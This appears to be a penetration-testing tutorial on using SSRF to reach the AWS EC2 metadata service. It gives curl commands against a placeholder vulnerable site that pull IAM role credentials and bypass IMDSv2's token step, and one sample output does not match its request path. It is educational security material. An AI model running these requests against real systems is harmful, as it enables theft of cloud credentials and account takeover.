Server Side Request Forgery (SSRF)

Server Side Request Forgery attacks can lead to the compromising of AWS EC2 IAM Roles

Overview

While not unique to the cloud, Server Side Request Forgery (SSRF) is a type of web vulnerability affecting server side application code allowing an attacker to connect to internal services like internal databases or the AWS EC2 Instance Metadata Service (IMDS).

Accessing EC2 IMDS Metadata

If we can find a vulnerable endpoint of an application running on an EC2 instance, e.g., status.php?name= then we can access the IMDS service and retrieve metadata from the EC2 instance.

curl http://vulnerablewebsite.fake/status/status.php?name=169.254.169.254/latest/user-data/

ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
[SNIP]

If the EC2 has an Instance Profile (IAM Role) attached, we can get the role's credentials,

curl http://vulnerablewebsite.fake/status/status.php?name=169.254.169.254/latest/meta-data/iam/security-credentials/

ec2-application-role    # note the role name will be different (if there is one)

curl http://vulnerablewebsite.fake/status/status.php?name=169.254.169.254/latest/meta-data/iam/security-credentials/ec2-application-role

[SNIP]
{
  "Code" : "Success",
  "LastUpdated" : "2024-01-03T23:24:35Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA[REDACTED]",
  "SecretAccessKey" : "wj+h[REDACTED]",
  "Token" : "IQoJb[REDACTED]",
  "Expiration" : "2024-01-04T05:38:34Z"
}

IMDSv1 and v2

AWS introduced v2 of the IMDS service as a mitigation to the vulnerability described above with IMDSv1. V2 requires first getting a token to perform enumeration of IMDS. However, it's not fool proof. As long as you can make PUT requests, you can easily obtain a token and continue the attack.

IMDSv1 Command

curl http://vulnerablewebsite.fake/status/status.php?name=169.254.169.254/latest/

meta-data/
dynamic
user-data/

IMDSv2 Command

TOKEN=`curl -X PUT "http://vulnerablewebsite.fake/status/status.php?name=http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`

curl -H "X-aws-ec2-metadata-token: $TOKEN" "http://vulnerablewebsite.fake/status/status.php?name=http://169.254.169.254/latest"

meta-data/
dynamic
user-data/

Metadata Service Info

The service is available on either endpoint

http://169.254.169.254/latest/        # IPv4

http://[fd00:ec2::254]/latest/        # IPv6

There are three instance metadata endpoints:

Metadata provides info like the instance's region, security groups, IAM role credentials, and more. All categories of information can be viewed in the AWS docs.

http://169.254.169.254/latest/meta-data/
http://[fd00:ec2::254]/latest/meta-data/

ami-id
ami-launch-index
ami-manifest-path
[SNIP]

User data provides access to the User Data script that may or may not have been used when launching the EC2. This could contain sensitive information like API keys, credentials, and resource names.

http://169.254.169.254/latest/user-data
http://[fd00:ec2::254]/latest/user-data

#!/bin/bash
yum update -y
service httpd start
chkconfig httpd on

Dynamic data provides a cryptographically signed document that describes the instance and its attributes

http://169.254.169.254/latest/dynamic/instance-identity/
http://[fd00:ec2::254]/latest/dynamic/instance-identity/

rsa2048
pkcs7
document
signature
dsa2048